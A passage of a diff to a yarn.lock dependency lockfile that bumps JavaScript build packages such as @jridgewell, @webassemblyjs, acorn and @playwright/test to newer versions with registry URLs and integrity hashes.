   integrity sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==
 
-"@jridgewell/source-map@^0.3.2":
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.2.tgz#f45351aaed4527a298512ec72f81040c998580fb"
-  integrity sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==
+"@jridgewell/set-array@^1.2.1":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.2.1.tgz#558fb6472ed16a4c850b889530e6b36438c49280"
+  integrity sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==
+
+"@jridgewell/source-map@^0.3.3":
+  version "0.3.6"
+  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.6.tgz#9d71ca886e32502eb9362c9a74a46787c36df81a"
+  integrity sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==
   dependencies:
-    "@jridgewell/gen-mapping" "^0.3.0"
-    "@jridgewell/trace-mapping" "^0.3.9"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
 
 "@jridgewell/sourcemap-codec@1.4.14", "@jridgewell/sourcemap-codec@^1.4.10":
   version "1.4.14"
   resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz#add4c98d341472a289190b424efbdb096991bb24"
   integrity sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==
 
-"@jridgewell/trace-mapping@^0.3.14", "@jridgewell/trace-mapping@^0.3.9":
-  version "0.3.15"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz#aba35c48a38d3fd84b37e66c9c0423f9744f9774"
-  integrity sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==
-  dependencies:
-    "@jridgewell/resolve-uri" "^3.0.3"
-    "@jridgewell/sourcemap-codec" "^1.4.10"
+"@jridgewell/sourcemap-codec@^1.4.14":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
 
 "@jridgewell/trace-mapping@^0.3.17":
   version "0.3.18"
@@ -2668,6 +2706,22 @@
     "@jridgewell/resolve-uri" "3.1.0"
     "@jridgewell/sourcemap-codec" "1.4.14"
 
+"@jridgewell/trace-mapping@^0.3.20", "@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
+  version "0.3.25"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
+  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@jridgewell/trace-mapping@^0.3.9":
+  version "0.3.15"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz#aba35c48a38d3fd84b37e66c9c0423f9744f9774"
+  integrity sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.0.3"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+
 "@nodelib/fs.scandir@2.1.3":
   version "2.1.3"
   resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.3.tgz#3a582bdb53804c6ba6d146579c46e52130cf4a3b"
@@ -2689,26 +2743,29 @@
     "@nodelib/fs.scandir" "2.1.3"
     fastq "^1.6.0"
 
-"@playwright/test@^1.41.2":
-  version "1.41.2"
-  resolved "https://registry.yarnpkg.com/@playwright/test/-/test-1.41.2.tgz#bd9db40177f8fd442e16e14e0389d23751cdfc54"
-  integrity sha512-qQB9h7KbibJzrDpkXkYvsmiDJK14FULCCZgEcoe2AvFAS64oCirWTwzTlAYEbKaRxWs5TFesE1Na6izMv3HfGg==
+"@pkgjs/parseargs@^0.11.0":
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
+  integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
+
+"@playwright/test@^1.51.1":
+  version "1.51.1"
+  resolved "https://registry.yarnpkg.com/@playwright/test/-/test-1.51.1.tgz#75357d513221a7be0baad75f01e966baf9c41a2e"
+  integrity sha512-nM+kEaTSAoVlXmMPH10017vn3FSiFqr/bh4fKg9vmAdMfd9SDqRZNvPSiAHADc/itWak+qPvMPZQOPwCBW7k7Q==
   dependencies:
-    playwright "1.41.2"
+    playwright "1.51.1"
 
-"@pmmmwh/react-refresh-webpack-plugin@0.5.7":
-  version "0.5.7"
-  resolved "https://registry.yarnpkg.com/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz#58f8217ba70069cc6a73f5d7e05e85b458c150e2"
-  integrity sha512-bcKCAzF0DV2IIROp9ZHkRJa6O4jy7NlnHdWL3GmcUxYWNjLXkK5kfELELwEfSP5hXPfVL/qOGMAROuMQb9GG8Q==
+"@pmmmwh/react-refresh-webpack-plugin@0.5.15":
+  version "0.5.15"
+  resolved "https://registry.yarnpkg.com/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.15.tgz#f126be97c30b83ed777e2aeabd518bc592e6e7c4"
+  integrity sha512-LFWllMA55pzB9D34w/wXUCf8+c+IYKuJDgxiZ3qMhl64KRMBHYM1I3VdGaD2BV5FNPV2/S2596bppxHbv2ZydQ==
   dependencies:
-    ansi-html-community "^0.0.8"
-    common-path-prefix "^3.0.0"
-    core-js-pure "^3.8.1"
+    ansi-html "^0.0.9"
+    core-js-pure "^3.23.3"
     error-stack-parser "^2.0.6"
-    find-up "^5.0.0"
     html-entities "^2.1.0"
-    loader-utils "^2.0.0"
-    schema-utils "^3.0.0"
+    loader-utils "^2.0.4"
+    schema-utils "^4.2.0"
     source-map "^0.7.3"
 
 "@sinclair/typebox@^0.24.1":
@@ -2962,10 +3019,10 @@
   resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.45.tgz#e9387572998e5ecdac221950dab3e8c3b16af884"
   integrity sha512-jnqIUKDUqJbDIUxm0Uj7bnlMnRm1T/eZ9N+AVMqhPgzrba2GhGG5o/jCTwmdPK709nEZsGoMzXEDUjcXHa3W0g==
 
-"@types/estree@^0.0.51":
-  version "0.0.51"
-  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.51.tgz#cfd70924a25a3fd32b218e5e420e6897e1ac4f40"
-  integrity sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ==
+"@types/estree@^1.0.5":
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.5.tgz#a6ce3e556e00fd9895dd872dd172ad0d4bd687f4"
+  integrity sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==
 
 "@types/graceful-fs@^4.1.2":
   version "4.1.4"
@@ -3094,125 +3151,125 @@
   dependencies:
     "@types/yargs-parser" "*"
 
-"@webassemblyjs/ast@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.11.1.tgz#2bfd767eae1a6996f432ff7e8d7fc75679c0b6a7"
-  integrity sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==
+"@webassemblyjs/ast@1.12.1", "@webassemblyjs/ast@^1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.12.1.tgz#bb16a0e8b1914f979f45864c23819cc3e3f0d4bb"
+  integrity sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==
   dependencies:
-    "@webassemblyjs/helper-numbers" "1.11.1"
-    "@webassemblyjs/helper-wasm-bytecode" "1.11.1"
+    "@webassemblyjs/helper-numbers" "1.11.6"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.6"
 
-"@webassemblyjs/floating-point-hex-parser@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz#f6c61a705f0fd7a6aecaa4e8198f23d9dc179e4f"
-  integrity sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==
+"@webassemblyjs/floating-point-hex-parser@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz#dacbcb95aff135c8260f77fa3b4c5fea600a6431"
+  integrity sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==
 
-"@webassemblyjs/helper-api-error@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz#1a63192d8788e5c012800ba6a7a46c705288fd16"
-  integrity sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==
+"@webassemblyjs/helper-api-error@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz#6132f68c4acd59dcd141c44b18cbebbd9f2fa768"
+  integrity sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==
 
-"@webassemblyjs/helper-buffer@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz#832a900eb444884cde9a7cad467f81500f5e5ab5"
-  integrity sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==
+"@webassemblyjs/helper-buffer@1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz#6df20d272ea5439bf20ab3492b7fb70e9bfcb3f6"
+  integrity sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==
 
-"@webassemblyjs/helper-numbers@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz#64d81da219fbbba1e3bd1bfc74f6e8c4e10a62ae"
-  integrity sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==
+"@webassemblyjs/helper-numbers@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz#cbce5e7e0c1bd32cf4905ae444ef64cea919f1b5"
+  integrity sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==
   dependencies:
-    "@webassemblyjs/floating-point-hex-parser" "1.11.1"
-    "@webassemblyjs/helper-api-error" "1.11.1"
+    "@webassemblyjs/floating-point-hex-parser" "1.11.6"
+    "@webassemblyjs/helper-api-error" "1.11.6"
     "@xtuc/long" "4.2.2"
 
-"@webassemblyjs/helper-wasm-bytecode@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz#f328241e41e7b199d0b20c18e88429c4433295e1"
-  integrity sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==
+"@webassemblyjs/helper-wasm-bytecode@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz#bb2ebdb3b83aa26d9baad4c46d4315283acd51e9"
+  integrity sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==
 
-"@webassemblyjs/helper-wasm-section@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz#21ee065a7b635f319e738f0dd73bfbda281c097a"
-  integrity sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==
+"@webassemblyjs/helper-wasm-section@1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz#3da623233ae1a60409b509a52ade9bc22a37f7bf"
+  integrity sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==
   dependencies:
-    "@webassemblyjs/ast" "1.11.1"
-    "@webassemblyjs/helper-buffer" "1.11.1"
-    "@webassemblyjs/helper-wasm-bytecode" "1.11.1"
-    "@webassemblyjs/wasm-gen" "1.11.1"
+    "@webassemblyjs/ast" "1.12.1"
+    "@webassemblyjs/helper-buffer" "1.12.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.6"
+    "@webassemblyjs/wasm-gen" "1.12.1"
 
-"@webassemblyjs/ieee754@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz#963929e9bbd05709e7e12243a099180812992614"
-  integrity sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==
+"@webassemblyjs/ieee754@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz#bb665c91d0b14fffceb0e38298c329af043c6e3a"
+  integrity sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==
   dependencies:
     "@xtuc/ieee754" "^1.2.0"
 
-"@webassemblyjs/leb128@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.11.1.tgz#ce814b45574e93d76bae1fb2644ab9cdd9527aa5"
-  integrity sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==
+"@webassemblyjs/leb128@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.11.6.tgz#70e60e5e82f9ac81118bc25381a0b283893240d7"
+  integrity sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==
   dependencies:
     "@xtuc/long" "4.2.2"
 
-"@webassemblyjs/utf8@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.11.1.tgz#d1f8b764369e7c6e6bae350e854dec9a59f0a3ff"
-  integrity sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==
-
-"@webassemblyjs/wasm-edit@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz#ad206ebf4bf95a058ce9880a8c092c5dec8193d6"
-  integrity sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==
-  dependencies:
-    "@webassemblyjs/ast" "1.11.1"
-    "@webassemblyjs/helper-buffer" "1.11.1"
-    "@webassemblyjs/helper-wasm-bytecode" "1.11.1"
-    "@webassemblyjs/helper-wasm-section" "1.11.1"
-    "@webassemblyjs/wasm-gen" "1.11.1"
-    "@webassemblyjs/wasm-opt" "1.11.1"
-    "@webassemblyjs/wasm-parser" "1.11.1"
-    "@webassemblyjs/wast-printer" "1.11.1"
-
-"@webassemblyjs/wasm-gen@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz#86c5ea304849759b7d88c47a32f4f039ae3c8f76"
-  integrity sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==
-  dependencies:
-    "@webassemblyjs/ast" "1.11.1"
-    "@webassemblyjs/helper-wasm-bytecode" "1.11.1"
-    "@webassemblyjs/ieee754" "1.11.1"
-    "@webassemblyjs/leb128" "1.11.1"
-    "@webassemblyjs/utf8" "1.11.1"
-
-"@webassemblyjs/wasm-opt@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz#657b4c2202f4cf3b345f8a4c6461c8c2418985f2"
-  integrity sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==
-  dependencies:
-    "@webassemblyjs/ast" "1.11.1"
-    "@webassemblyjs/helper-buffer" "1.11.1"
-    "@webassemblyjs/wasm-gen" "1.11.1"
-    "@webassemblyjs/wasm-parser" "1.11.1"
-
-"@webassemblyjs/wasm-parser@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz#86ca734534f417e9bd3c67c7a1c75d8be41fb199"
-  integrity sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==
-  dependencies:
-    "@webassemblyjs/ast" "1.11.1"
-    "@webassemblyjs/helper-api-error" "1.11.1"
-    "@webassemblyjs/helper-wasm-bytecode" "1.11.1"
-    "@webassemblyjs/ieee754" "1.11.1"
-    "@webassemblyjs/leb128" "1.11.1"
-    "@webassemblyjs/utf8" "1.11.1"
-
-"@webassemblyjs/wast-printer@1.11.1":
-  version "1.11.1"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz#d0c73beda8eec5426f10ae8ef55cee5e7084c2f0"
-  integrity sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==
-  dependencies:
-    "@webassemblyjs/ast" "1.11.1"
+"@webassemblyjs/utf8@1.11.6":
+  version "1.11.6"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.11.6.tgz#90f8bc34c561595fe156603be7253cdbcd0fab5a"
+  integrity sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==
+
+"@webassemblyjs/wasm-edit@^1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz#9f9f3ff52a14c980939be0ef9d5df9ebc678ae3b"
+  integrity sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==
+  dependencies:
+    "@webassemblyjs/ast" "1.12.1"
+    "@webassemblyjs/helper-buffer" "1.12.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.6"
+    "@webassemblyjs/helper-wasm-section" "1.12.1"
+    "@webassemblyjs/wasm-gen" "1.12.1"
+    "@webassemblyjs/wasm-opt" "1.12.1"
+    "@webassemblyjs/wasm-parser" "1.12.1"
+    "@webassemblyjs/wast-printer" "1.12.1"
+
+"@webassemblyjs/wasm-gen@1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz#a6520601da1b5700448273666a71ad0a45d78547"
+  integrity sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==
+  dependencies:
+    "@webassemblyjs/ast" "1.12.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.6"
+    "@webassemblyjs/ieee754" "1.11.6"
+    "@webassemblyjs/leb128" "1.11.6"
+    "@webassemblyjs/utf8" "1.11.6"
+
+"@webassemblyjs/wasm-opt@1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz#9e6e81475dfcfb62dab574ac2dda38226c232bc5"
+  integrity sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==
+  dependencies:
+    "@webassemblyjs/ast" "1.12.1"
+    "@webassemblyjs/helper-buffer" "1.12.1"
+    "@webassemblyjs/wasm-gen" "1.12.1"
+    "@webassemblyjs/wasm-parser" "1.12.1"
+
+"@webassemblyjs/wasm-parser@1.12.1", "@webassemblyjs/wasm-parser@^1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz#c47acb90e6f083391e3fa61d113650eea1e95937"
+  integrity sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.12.1"
+    "@webassemblyjs/helper-api-error" "1.11.6"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.6"
+    "@webassemblyjs/ieee754" "1.11.6"
+    "@webassemblyjs/leb128" "1.11.6"
+    "@webassemblyjs/utf8" "1.11.6"
+
+"@webassemblyjs/wast-printer@1.12.1":
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz#bcecf661d7d1abdaf989d8341a4833e33e2b31ac"
+  integrity sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==
+  dependencies:
+    "@webassemblyjs/ast" "1.12.1"
     "@xtuc/long" "4.2.2"
 
 "@xtuc/ieee754@^1.2.0":
@@ -3233,11 +3290,6 @@ abab@^2.0.5:
   resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.6.tgz#41b80f2c871d19686216b82309231cfd3cb3d291"
   integrity sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==
 
-abbrev@1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/abbrev/-/abbrev-1.1.1.tgz#f8f2c887ad10bf67f634f005b6987fed3179aac8"
-  integrity sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==
-
 accepts@~1.3.5:
   version "1.3.8"
   resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e"
@@ -3254,31 +3306,34 @@ acorn-globals@^6.0.0:
     acorn "^7.1.1"
     acorn-walk "^7.1.1"
 
-acorn-import-assertions@^1.7.6:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz#ba2b5939ce62c238db6d93d81c9b111b29b855e9"
-  integrity sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==
+acorn-import-attributes@^1.9.5:
+  version "1.9.5"
+  resolved "https://registry.yarnpkg.com/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz#7eb1557b1ba05ef18b5ed0ec67591bfab04688ef"
+  integrity sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==
 
-acorn-node@^1.8.2:
-  version "1.8.2"
-  resolved "https://registry.yarnpkg.com/acorn-node/-/acorn-node-1.8.2.tgz#114c95d64539e53dede23de8b9d96df7c7ae2af8"
-  integrity sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==
+acorn-loose@^8.3.0:
+  version "8.4.0"
+  resolved "https://registry.yarnpkg.com/acorn-loose/-/acorn-loose-8.4.0.tgz#26d3e219756d1e180d006f5bcc8d261a28530f55"
+  integrity sha512-M0EUka6rb+QC4l9Z3T0nJEzNOO7JcoJlYMrBlyBCiFSXRyxjLKayd4TbQs2FDRWQU1h9FR7QVNHt+PEaoNL5rQ==
   dependencies:
-    acorn "^7.0.0"
-    acorn-walk "^7.0.0"
-    xtend "^4.0.2"
+    acorn "^8.11.0"
 
-acorn-walk@^7.0.0, acorn-walk@^7.1.1:
+acorn-walk@^7.1.1:
   version "7.2.0"
   resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc"
   integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==
 
-acorn@^7.0.0, acorn@^7.1.1:
+acorn@^7.1.1:
   version "7.4.1"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
   integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
 
-acorn@^8.2.4, acorn@^8.5.0, acorn@^8.7.1:
+acorn@^8.11.0, acorn@^8.8.2:
+  version "8.12.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.12.1.tgz#71616bdccbe25e27a54439e0046e89ca76df2248"
+  integrity sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==
+
+acorn@^8.2.4, acorn@^8.7.1:
   version "8.8.0"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.8.0.tgz#88c0187620435c7f6015803f5539dae05a9dbea8"
   integrity sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==
